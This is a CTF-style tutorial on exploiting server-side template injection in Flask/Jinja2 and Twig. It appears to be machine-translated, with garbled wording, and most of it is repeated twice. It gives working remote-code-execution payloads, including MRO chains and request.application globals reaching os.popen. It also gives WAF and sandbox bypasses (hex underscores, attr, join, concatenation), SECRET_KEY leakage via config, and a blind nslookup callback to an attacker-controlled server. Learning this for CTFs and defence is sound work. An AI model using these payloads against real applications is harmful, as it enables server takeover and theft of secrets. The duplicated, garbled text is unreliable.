Operation of SSTI Jinja2: from arithmetic to RCE
Flask Jinja2 vulnerability is the most frequent SSTI scenario on CTF. The problem arises when the developer writes render_template_string(user_input) instead of safe render_template("page.html", name=user_input). In the first case, the user input becomes the template itself - the attacker controls not the data, but the code.
Jinja2box sand escape: building an MRO chain manually
MRO (Method Resolution Order) is the order in which Python searches for methods in a class hierarchy. Through the MRO you can get from any object to the base class object, get a list of all his subclasses and find a class capable of running system commands. It's the core of Jinja2 sandbox escape.
We will analyze the chain in steps - each SSTI payload is based on the result of the previous one:
{{7*7}} → 49
{{''.__class__.__mro__}} → (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1].__subclasses__()}} → [300+ классов]
{{''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['popen']('id').read()}}
The key is step 3. The list of subclasses contains hundreds of classes, and you need to find a class index with access to command execution. The index depends on the version of Python and the installed modules – on each target it is its own. On CTF, it is easiest to display a complete list via {{''.__class__.__mro__[1].__subclasses__()}}, copy it, find it subprocess.Popen or os._wrap_close and set the desired index. It's boring, but it works.
Instead of __mro__ can be used __base__ – he immediately returns the parent class: {{''.__class__.__base__}} equivalently {{''.__class__.__mro__[1]}}. Saves several symbols in payload (sometimes it is critical when limiting the length of input).
An alternative path through an object request, which Flask automatically adds to the context of the template. Payload {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} bypassing the selection of indexes. Here request.application – Flask-application, __globals__ – global space of module names, __builtins__ contains a built-in function __import__ for loading the module os.
If the Flask application does not add request in context (in CTF-TASKS), use other global objects Jinja2: g, config, self. Object self (more precisely self._TemplateReference__context) gives access to cycler, through which you can reach os. Payload {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}} does not depend on Flash-specific objects. The performance depends on the version of Jinja2 – in some versions cycler.__init__.__globals__ does not contain os directly, then use __builtins__ for __import__('os').
Another useful goal is the leakage of the configuration. Payload {{config.items()}} outputs all Flask configuration variables, including SECRET_KEY. Knowing the secret key, you can sign arbitrary session cookies and get privileged access to the application without RCE. On the CTF, it’s sometimes the only way to the flag – you don’t always have to break down to RCE.
Bypassing SSTI filters: points, underscores and brackets
On the CTF of medium and high complexity, standard payloads will not pass - WAF or custom filter cuts certain characters. Let's look at the system approach to the bypass (based on the study of onsecurity.io and the materials of PayloadsAllTheThings).
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Bypass logic: in Python expressions foo.bar, foo['bar'] and foo|attr('bar') functionally equivalent – everyone turns to the object attribute. Jinja2 supports all three forms. WAF filters one – use another. Simple.
Hex-encoding underlines (\x5f instead of _) works because Jinja2 first processes escape sequences and only then resolvite attributes. WAF sees \x5f\x5f, and the templater — __. Beautiful race condition between filter and renderer.
A separate case is blocking double figure brackets {{}}. Jinja2 supports alternative syntax through {% %} (control units). Instead of a direct conclusion, you can use a conditional expression with a side effect:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'x' %} a {% endif %}
If the server delays the answer for five seconds, the command is executed. This is a blind SSTI: there is no direct output, but the delay confirms the execution of the code. To extract data, use the same principle as in blind SQL injection – a beat comparison with startswith() or sending the result via HTTP-callback (curl/nc) to the controlled server.
Another bypass is building a string without quotes. You can pull symbols from the string representation of global variables: {{self.__init__.__globals__.__str__()[1786:1788]}} gets the desired symbols on the index. Indexes in the example are an illustration: specific positions depend on the version of Python and the environment, you need to select experimentally for each target.
Combination |join also bypass filters: {{['__','class','__']|join}} forms a string __class__ from the array. Sandbox checks the substrings in the original template, but the lines collected from the array are checked. The filter looks at the source, huh join is performed at the stage of rendering.
SSTI Twig vulnerability: PHP-pattern operation
Twig is a templater for PHP, standard in Symfony. On CTF is less common Jinja2, but the more valuable the skill of its operation. The vulnerability is similar: instead of safe $twig->render("page.html", ["name" => $input]) developer writes $twig->render("Dear " . $_GET['name']), by concating user input with template.
RCE through Twig templater and payload without quotes
First payload records PHP function system as a handler of unknown filters, and then causes a non-existent filter 'id' – Twig gives his name to the registered callback, performing system('id'). Graceful, if you think about it.
In Twig 2.x and 3.x this vector is closed: object _self.env no longer available directly. To access environment variables, use {{app.request.server.all}} (analogue phpinfo()).
The second payload is without a single quotation. Block U contains a string id000passthru, which is divided into a divider 000 the array ['id', 'passthru']. The first element is the command argument, the second is the PHP function. Through map They connect into a challenge passthru('id'). This is critical for bypassing auto-escaping: the templater shields the string data in quotes, but without quotes, the filter does not work.
According to PortSwigger, Twig scripts on CTF often give a privileged account (content-manager) with the ability to edit templates. The vulnerability here is not in the input filtering, but in the architecture itself: the user controls the contents of the template by design. Not a bug, but a feature that can be abused.
Step-by-step CTF-work: from detective to flag
Do it once: find the injection point
Look for any place where custom input is displayed in the server response: search bars, feedback forms, customizable email templates, URL parameters, HTTP headers (especially X-Forwarded-Host, User-Agent). On CTF, SSTI often hides not in obvious form, but in a cookie or a non-standard title – I once found an injection in Accept-Language. For each point found, send a polyglot string ${{<%%'"}}%\. Templator error in the response is confirmation of the vulnerability.
Do two: define the engine
Consistently check the differentiators: 1. {{7*7}} – if 49, Jinja2 or Twig is likely 2. {{7*'7'}} - 7777777 means Jinja2, 49 – Twig 3. ${7*7} if 49, Freemarker or Velocity 4. Error-based: {%invalid%} – error text will name the engine
Confirmation: {{config}} for Flask/Jinja2, {{app.request.server.all}} for Twig.
Do three: assemble an RCE chain
For Jinja2: Start with {{config.items()}} for configuration leakage. Try direct RCE through request.application.__globals__.__builtins__.__import__('os').popen('COMMAND').read(). If WAF blocks, use bypasses sequentially: brackish notation, hex-encoding, attr filter.
For Twig: {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('COMMAND')}}. If _self.env unavailable (Twig 2+), go to payload'am through map and blocks.
Can't get RCE? Reduce the bar: Read files through the MRO chain with class _io.FileIO or output environment variables. On the CTF, the flag sometimes lies in the environment variable, not the file. Do not get stuck on RCE if the task does not require it.
Automation: tplmap (similar to sqlmap for template engine injection) defines the engine and selects payloads. Launch tplmap -u "http://target/?name=*" scans the parameter name on SSTI. But on the CTF of medium complexity, tplmap often does not cope with custom filters – manual chain construction remains a necessary skill. The tool is good for reconnaissance, but relying on it entirely – how to drive on a navigator with eyes closed.
[Sandbox escape and advanced bypass techniques
On the CTF of increased complexity, standard MRO-chains do not work: Jinja2 SandboxedEnvironment blocks access to attributes starting with underline. Sandbox checks the full attribute name, but the string variables are collected dynamically — and that’s its weakness.
Line Concatenation through the operator ~. If the sandbox blocks __class__ whole, gather it in parts: {%set a='__cla'%}{%set b='ss__'%}{{''|attr(a~b)}}. Operator ~ in Jinja2 — line concatenation. The filter sees two harmless variables, and the templater after substitution receives __class__. Sandbox is cheated.
Filter |join for the assembly of lines works according to the same logic. Payload {{['__','class','__']|join|attr}} forms the target name of the attribute from the array. Sandbox checks the substrings in the template source code, but join performed at the rendering stage, when the check has already passed.
Blind SSTI via timing. When no payload gives a direct output, use sleep() for confirmation and HTTP-callback for exfiltration. Working equipment — nslookup in SSTI-payload: the attacker sends a DNS request to a controlled domain and by the DNS server logs sees which targets are vulnerable. On the CTF it looks like this: {{request.application.__globals__.__builtins__.__import__('os').popen('nslookup YOUR_SERVER').read()}}. Raise Burp Collaborator or your DNS – and catch the callback.
For Twigbox sandball escape works through object reflection. For Freemarker, for example, through product.class.protectionDomain.classLoader loads arbitrary Java class, bypassing the sandbox restrictions. In Twig, access through global variables is an analogue _context and _charset.
Flask Jinja2 vulnerability is the most frequent SSTI scenario on CTF. The problem arises when the developer writes render_template_string(user_input) instead of safe render_template("page.html", name=user_input). In the first case, the user input becomes the template itself - the attacker controls not the data, but the code.
Jinja2box sand escape: building an MRO chain manually
MRO (Method Resolution Order) is the order in which Python searches for methods in a class hierarchy. Through the MRO you can get from any object to the base class object, get a list of all his subclasses and find a class capable of running system commands. It's the core of Jinja2 sandbox escape.
We will analyze the chain in steps - each SSTI payload is based on the result of the previous one:
{{7*7}} → 49
{{''.__class__.__mro__}} → (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1].__subclasses__()}} → [300+ классов]
{{''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['popen']('id').read()}}
The key is step 3. The list of subclasses contains hundreds of classes, and you need to find a class index with access to command execution. The index depends on the version of Python and the installed modules – on each target it is its own. On CTF, it is easiest to display a complete list via {{''.__class__.__mro__[1].__subclasses__()}}, copy it, find it subprocess.Popen or os._wrap_close and set the desired index. It's boring, but it works.
Instead of __mro__ can be used __base__ – he immediately returns the parent class: {{''.__class__.__base__}} equivalently {{''.__class__.__mro__[1]}}. Saves several symbols in payload (sometimes it is critical when limiting the length of input).
An alternative path through an object request, which Flask automatically adds to the context of the template. Payload {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} bypassing the selection of indexes. Here request.application – Flask-application, __globals__ – global space of module names, __builtins__ contains a built-in function __import__ for loading the module os.
If the Flask application does not add request in context (in CTF-TASKS), use other global objects Jinja2: g, config, self. Object self (more precisely self._TemplateReference__context) gives access to cycler, through which you can reach os. Payload {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}} does not depend on Flash-specific objects. The performance depends on the version of Jinja2 – in some versions cycler.__init__.__globals__ does not contain os directly, then use __builtins__ for __import__('os').
Another useful goal is the leakage of the configuration. Payload {{config.items()}} outputs all Flask configuration variables, including SECRET_KEY. Knowing the secret key, you can sign arbitrary session cookies and get privileged access to the application without RCE. On the CTF, it’s sometimes the only way to the flag – you don’t always have to break down to RCE.
Bypassing SSTI filters: points, underscores and brackets
On the CTF of medium and high complexity, standard payloads will not pass - WAF or custom filter cuts certain characters. Let's look at the system approach to the bypass (based on the study of onsecurity.io and the materials of PayloadsAllTheThings).
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Bypass logic: in Python expressions foo.bar, foo['bar'] and foo|attr('bar') functionally equivalent – everyone turns to the object attribute. Jinja2 supports all three forms. WAF filters one – use another. Simple.
Hex-encoding underlines (\x5f instead of _) works because Jinja2 first processes escape sequences and only then resolvite attributes. WAF sees \x5f\x5f, and the templater — __. Beautiful race condition between filter and renderer.
A separate case is blocking double figure brackets {{}}. Jinja2 supports alternative syntax through {% %} (control units). Instead of a direct conclusion, you can use a conditional expression with a side effect:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'x' %} a {% endif %}
If the server delays the answer for five seconds, the command is executed. This is a blind SSTI: there is no direct output, but the delay confirms the execution of the code. To extract data, use the same principle as in blind SQL injection – a beat comparison with startswith() or sending the result via HTTP-callback (curl/nc) to the controlled server.
Another bypass is building a string without quotes. You can pull symbols from the string representation of global variables: {{self.__init__.__globals__.__str__()[1786:1788]}} gets the desired symbols on the index. Indexes in the example are an illustration: specific positions depend on the version of Python and the environment, you need to select experimentally for each target.
Combination |join also bypass filters: {{['__','class','__']|join}} forms a string __class__ from the array. Sandbox checks the substrings in the original template, but the lines collected from the array are checked. The filter looks at the source, huh join is performed at the stage of rendering.
SSTI Twig vulnerability: PHP-pattern operation
Twig is a templater for PHP, standard in Symfony. On CTF is less common Jinja2, but the more valuable the skill of its operation. The vulnerability is similar: instead of safe $twig->render("page.html", ["name" => $input]) developer writes $twig->render("Dear " . $_GET['name']), by concating user input with template.
RCE through Twig templater and payload without quotes
First payload records PHP function system as a handler of unknown filters, and then causes a non-existent filter 'id' – Twig gives his name to the registered callback, performing system('id'). Graceful, if you think about it.
In Twig 2.x and 3.x this vector is closed: object _self.env no longer available directly. To access environment variables, use {{app.request.server.all}} (analogue phpinfo()).
The second payload is without a single quotation. Block U contains a string id000passthru, which is divided into a divider 000 the array ['id', 'passthru']. The first element is the command argument, the second is the PHP function. Through map They connect into a challenge passthru('id'). This is critical for bypassing auto-escaping: the templater shields the string data in quotes, but without quotes, the filter does not work.
According to PortSwigger, Twig scripts on CTF often give a privileged account (content-manager) with the ability to edit templates. The vulnerability here is not in the input filtering, but in the architecture itself: the user controls the contents of the template by design. Not a bug, but a feature that can be abused.
Step-by-step CTF-work: from detective to flag
Do it once: find the injection point
Look for any place where custom input is displayed in the server response: search bars, feedback forms, customizable email templates, URL parameters, HTTP headers (especially X-Forwarded-Host, User-Agent). On CTF, SSTI often hides not in obvious form, but in a cookie or a non-standard title – I once found an injection in Accept-Language. For each point found, send a polyglot string ${{<%%'"}}%\. Templator error in the response is confirmation of the vulnerability.
Do two: define the engine
Consistently check the differentiators: 1. {{7*7}} – if 49, Jinja2 or Twig is likely 2. {{7*'7'}} - 7777777 means Jinja2, 49 – Twig 3. ${7*7} if 49, Freemarker or Velocity 4. Error-based: {%invalid%} – error text will name the engine
Confirmation: {{config}} for Flask/Jinja2, {{app.request.server.all}} for Twig.
Do three: assemble an RCE chain
For Jinja2: Start with {{config.items()}} for configuration leakage. Try direct RCE through request.application.__globals__.__builtins__.__import__('os').popen('COMMAND').read(). If WAF blocks, use bypasses sequentially: brackish notation, hex-encoding, attr filter.
For Twig: {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('COMMAND')}}. If _self.env unavailable (Twig 2+), go to payload'am through map and blocks.
Can't get RCE? Reduce the bar: Read files through the MRO chain with class _io.FileIO or output environment variables. On the CTF, the flag sometimes lies in the environment variable, not the file. Do not get stuck on RCE if the task does not require it.
Automation: tplmap (similar to sqlmap for template engine injection) defines the engine and selects payloads. Launch tplmap -u "http://target/?name=*" scans the parameter name on SSTI. But on the CTF of medium complexity, tplmap often does not cope with custom filters – manual chain construction remains a necessary skill. The tool is good for reconnaissance, but relying on it entirely – how to drive on a navigator with eyes closed.
[Sandbox escape and advanced bypass techniques
On the CTF of increased complexity, standard MRO-chains do not work: Jinja2 SandboxedEnvironment blocks access to attributes starting with underline. Sandbox checks the full attribute name, but the string variables are collected dynamically — and that’s its weakness.
Line Concatenation through the operator ~. If the sandbox blocks __class__ whole, gather it in parts: {%set a='__cla'%}{%set b='ss__'%}{{''|attr(a~b)}}. Operator ~ in Jinja2 — line concatenation. The filter sees two harmless variables, and the templater after substitution receives __class__. Sandbox is cheated.
Filter |join for the assembly of lines works according to the same logic. Payload {{['__','class','__']|join|attr}} forms the target name of the attribute from the array. Sandbox checks the substrings in the template source code, but join performed at the rendering stage, when the check has already passed.
Blind SSTI via timing. When no payload gives a direct output, use sleep() for confirmation and HTTP-callback for exfiltration. Working equipment — nslookup in SSTI-payload: the attacker sends a DNS request to a controlled domain and by the DNS server logs sees which targets are vulnerable. On the CTF it looks like this: {{request.application.__globals__.__builtins__.__import__('os').popen('nslookup YOUR_SERVER').read()}}. Raise Burp Collaborator or your DNS – and catch the callback.
For Twigbox sandball escape works through object reflection. For Freemarker, for example, through product.class.protectionDomain.classLoader loads arbitrary Java class, bypassing the sandbox restrictions. In Twig, access through global variables is an analogue _context and _charset.